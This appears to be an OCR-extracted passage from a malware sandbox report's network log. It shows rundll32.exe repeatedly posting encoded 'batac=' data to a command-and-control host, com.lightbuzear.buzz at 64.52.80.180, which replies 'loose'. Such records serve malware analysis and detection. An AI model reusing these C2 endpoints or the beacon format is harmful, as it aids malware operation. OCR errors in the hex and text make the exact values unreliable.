Date: Sun, 14 Aug 2022 06:40:32 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:32 UTC 103 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L. Destination
Session ID Source IP Source Port Destination IP Port Process
62 192.168.2.22 49234 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:40:33 UTC 103 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:40:33 UTC 104 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y
2022-08-14 06:40:34 UTC 105 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:33 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:34 UTC 105 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
: I Destination
Session ID Source IP Source Port Destination IP Port Process
63 192.168.2.22 49235 64.52.80.180 443 C:\Windows\System32\rundll32.exe
Timestamp L Direction Data
transferred
2022-08-14 06:40:34 UTC 105 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:40:34 UTC 105 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y
2022-08-14 06:40:35 UTC 106 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:34 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:35 UTC 107 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L. Destination
Session ID Source IP Source Port Destination IP Port Process
64 192.168.2.22 49236 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:40:35 UTC 107 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:40:35 UTC 107 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y
2022-08-14 06:40:36 UTC 108 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:36 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:36 UTC 108 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
: I Destination
Session ID Source IP Source Port Destination IP Port Process
65 192.168.2.22 49237 64.52.80.180 443 C:\Windows\System32\rundll32.exe
Timestamp L Direction Data
transferred
2022-08-14 06:40:36 UTC 108 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:40:36 UTC 109 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y
2022-08-14 06:40:37 UTC 110 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:37 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:37 UTC 110 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L Destination
Session ID Source IP Source Port Destination IP Port Process
66 192.168.2.22 49238 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:40:37 UTC 110 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:40:37 UTC 110 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y
2022-08-14 06:40:38 UTC 111 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:38 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:38 UTC 112 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
: I Destination
Session ID Source IP Source Port Destination IP Port Process
67 192.168.2.22 49239 64.52.80.180 443 C:\Windows\System32\rundll32.exe
Timestamp L Direction Data
transferred
2022-08-14 06:40:38 UTC 112 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:40:38 UTC 112 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y
2022-08-14 06:40:39 UTC 113 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:39 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:39 UTC 113 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L Destination
Session ID Source IP Source Port Destination IP Port Process
68 192.168.2.22 49240 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:40:40 UTC 113 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:40:40 UTC 114 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y
2022-08-14 06:40:40 UTC 115 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:40 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:40 UTC 115 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
: I Destination
Session ID Source IP Source Port Destination IP Port Process
69 192.168.2.22 49241 64.52.80.180 443 C:\Windows\System32\rundll32.exe
Timestamp L Direction Data
transferred
2022-08-14 06:40:41 UTC 115 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:40:41 UTC 115 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2|DPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y
2022-08-14 06:40:41 UTC 116 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:41 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:41 UTC 116 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L. Destination
Session ID Source IP Source Port Destination IP Port Process
7 192.168.2.22 49179 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:39:33 UTC 13 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:39:33 UTC 13 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y
2022-08-14 06:39:33 UTC 14 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:39:33 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:33 UTC 14 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
i I Destination
Session ID Source IP Source Port Destination IP Port Process
70 192.168.2.22 49242 64.52.80.180 443 C:\Windows\System32\rundll32.exe
Timestamp Lo Direction Data
transferred
2022-08-14 06:40:42 UTC 116 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:40:42 UTC 117 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y
2022-08-14 06:40:42 UTC 118 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:42 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:42 UTC 118 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L. Destination
Session ID Source IP Source Port Destination IP Port Process
71 192.168.2.22 49243 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:40:43 UTC 118 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:40:43 UTC 118 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
